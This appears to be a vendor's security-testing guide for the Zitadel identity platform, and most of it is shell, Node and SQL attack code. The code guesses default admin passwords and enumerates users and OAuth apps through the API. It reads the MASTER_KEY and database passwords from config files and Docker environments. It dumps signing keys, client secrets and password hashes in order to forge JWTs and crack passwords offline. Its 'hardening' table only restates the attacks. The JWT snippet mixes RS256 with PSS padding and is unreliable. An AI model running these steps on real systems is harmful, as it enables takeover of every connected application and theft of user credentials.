Zitadel Security Testing: Default Credentials, API Token, Database, and Master Key

Zitadel is a widely deployed open-source identity and access management platform (Keycloak/Auth0 alternative) used for centralized authentication, SSO, and OAuth/OIDC management — it controls authentication for all connected applications. Zitadel is a uniquely high-value target because compromising it means compromising authentication for every application in the organization. Key assessment areas: the MASTER_KEY is used to encrypt OIDC signing keys stored in the database; decrypting these signing keys enables forging valid JWTs for any connected application; the Zitadel gRPC-Gateway API allows enumerating all users, organizations, and OAuth applications; machine account keys provide service-level API access; and the database (CockroachDB or PostgreSQL) stores all identity data. This guide covers systematic Zitadel security assessment.

Table of Contents

  1. Default Credentials and Machine Account Testing
  2. API User, Organization, and Application Enumeration
  3. MASTER_KEY and OIDC Signing Key Extraction
  4. Zitadel Security Hardening

Default Credentials and Machine Account Testing

# Zitadel — default credentials and machine account testing
ZITADEL_URL="https://zitadel.example.com"

# Zitadel default setup credentials (from zitadel init)
# Check for default admin account: zitadel-admin@zitadel.localhost
# Password set during first-run setup — check for "Password1!" or "Admin1234!" patterns
# Machine account service user JWT flow for API access

# Get an access token using machine account key file
# (key file JSON generated when creating machine account service user)
KEY_FILE="./key.json"
if [ -f "$KEY_FILE" ]; then
  ISSUER="${ZITADEL_URL}"
  KEY_ID=$(cat $KEY_FILE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('keyId',''))")
  USER_ID=$(cat $KEY_FILE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('userId',''))")
  PRIVATE_KEY=$(cat $KEY_FILE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('key',''))")

  # Generate JWT for service account authentication
  node -e "
const crypto = require('crypto');
const fs = require('fs');
const key = JSON.parse(fs.readFileSync('${KEY_FILE}'));
const now = Math.floor(Date.now()/1000);
const header = Buffer.from(JSON.stringify({alg:'RS256',kid:key.keyId})).toString('base64url');
const payload = Buffer.from(JSON.stringify({
  iss: key.userId,
  sub: key.userId,
  aud: '${ZITADEL_URL}',
  iat: now,
  exp: now+3600
})).toString('base64url');
const privKey = crypto.createPrivateKey(key.key);
const sig = crypto.sign('sha256', Buffer.from(header+'.'+payload), {key:privKey,padding:crypto.constants.RSA_PKCS1_PSS_PADDING}).toString('base64url');
console.log(header+'.'+payload+'.'+sig);
" 2>/dev/null
fi

# Exchange JWT for access token
JWT="your-machine-jwt"
curl -s -X POST "${ZITADEL_URL}/oauth/v2/token" \
  --data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer" \
  --data-urlencode "scope=openid urn:zitadel:iam:org:project:id:zitadel:aud" \
  --data-urlencode "assertion=${JWT}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Access token: {d.get(\"access_token\",\"\")[:50]}...')
print(f'Type: {d.get(\"token_type\")} expires_in={d.get(\"expires_in\")}')
" 2>/dev/null

API User, Organization, and Application Enumeration

# Zitadel API — user, organization, and application enumeration
ZITADEL_URL="https://zitadel.example.com"
ACCESS_TOKEN="your-access-token"
ORG_ID="your-org-id"

# List all users in an organization
curl -s -X POST "${ZITADEL_URL}/management/v1/users/_search" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"query":{"offset":"0","limit":100,"asc":true}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('result',[])
print(f'Users: {d.get(\"details\",{}).get(\"totalResult\",len(users))} total')
for u in users[:10]:
    h = u.get('human',u.get('machine',{}))
    print(f'  [{u.get(\"userId\")}] {h.get(\"email\",{}).get(\"email\",h.get(\"name\",\"\"))} state={u.get(\"state\")}')
" 2>/dev/null

# List all OAuth/OIDC applications
curl -s -X POST "${ZITADEL_URL}/management/v1/apps/_search" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"projectId":"YOUR_PROJECT_ID","query":{"offset":"0","limit":100}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('result',[])
print(f'Applications: {len(apps)}')
for a in apps[:10]:
    oidc = a.get('oidcConfig',{})
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} clientId={oidc.get(\"clientId\",\"\")} redirect={oidc.get(\"redirectUris\",[])}')
" 2>/dev/null

# Admin API — list all instances (system-level admin)
curl -s -X POST "${ZITADEL_URL}/system/v1/instances/_search" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"query":{"offset":"0","limit":100}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
instances = d.get('result',[])
print(f'Instances: {len(instances)}')
for i in instances[:5]:
    print(f'  [{i.get(\"id\")}] {i.get(\"domains\",[{}])[0].get(\"domain\",\"\")} state={i.get(\"state\")}')
" 2>/dev/null

MASTER_KEY and OIDC Signing Key Extraction

# Zitadel MASTER_KEY and OIDC signing key extraction

# Zitadel configuration — MASTER_KEY location
# config.yaml or environment variable ZITADEL_MASTERKEY
cat /etc/zitadel/config.yaml 2>/dev/null | grep -E "MasterKey|masterKey|MASTER_KEY|Database|host:|port:|user:|password:"
cat /etc/zitadel/zitadel.yaml 2>/dev/null | grep -E "MasterKey|masterKey|Database"

# Docker environment variables
docker inspect zitadel 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['MASTER','KEY','DATABASE','HOST','PASS','USER']):
            print(e)
" 2>/dev/null
# ZITADEL_MASTERKEY — AES-256-GCM key for encrypting OIDC signing keys

# CockroachDB / PostgreSQL access — Zitadel tables
DB_URL="postgresql://root@localhost:26257/zitadel"
# or: postgresql://zitadel:PASSWORD@localhost/zitadel

# encryption_keys table — OIDC signing keys encrypted with MASTER_KEY
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, key, is_symmetric, started_at, changed_at
FROM encryption_keys
LIMIT 20;
EOF
# key column — RSA private key for OIDC JWT signing, encrypted with MASTER_KEY
# Decrypt with MASTER_KEY using AES-256-GCM to get the raw RSA private key
# This RSA key signs all JWTs issued by Zitadel for every connected application

# app_oidc_configs — all OAuth client IDs and redirect URIs
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT app_id, client_id, client_secret, redirect_uris,
       grant_types, auth_method_type, access_token_type
FROM app_oidc_configs
LIMIT 20;
EOF
# client_secret — hashed, but combined with client_id enables OAuth flow analysis

# users table — all identities managed by Zitadel
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, username, state, type, creation_date, change_date
FROM users
ORDER BY creation_date DESC
LIMIT 20;
EOF

# human_users — email addresses and password hashes
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT user_id, email, email_verified,
       password_hash, password_change_required
FROM human_users
LIMIT 20;
EOF

Zitadel Security Hardening

Zitadel Security Hardening Checklist:
Security TestMethodRisk
MASTER_KEY extraction and OIDC signing key decryptionRead config.yaml/env MASTER_KEY — AES-256-GCM encryption key; combined with DB access, decrypt RSA OIDC signing keys enabling JWT forgery for every connected applicationCritical (catastrophic blast radius)
Default admin credential exploitationPOST /oauth/v2/token with default admin credentials — full IAM admin access enabling user creation, application management, and policy modificationCritical
API user and organization enumerationPOST /management/v1/users/_search — all users with emails and state; POST /management/v1/apps/_search — all OAuth applications with client IDs and redirect URIsHigh
Machine account key file extractionAccess to machine account key JSON file — RSA private key for service account JWT authentication; enables long-lived API access with the machine account's permissionsCritical
PostgreSQL/CockroachDB human_users table accessSELECT from human_users — all user email addresses and bcrypt password hashes; enables offline password cracking for all Zitadel-managed user accountsCritical

Automate Zitadel Security Testing

Ironimo tests Zitadel deployments for MASTER_KEY extraction and OIDC signing key decryption capability assessment, default admin credential exploitation, machine account key file exposure, API user and application enumeration, encryption_keys table access, human_users password hash extraction, app_oidc_configs OAuth client configuration exposure, Docker environment variable credential exposure, organization isolation bypass testing, CockroachDB/PostgreSQL credential extraction, and IAM role privilege escalation testing.

Start free scan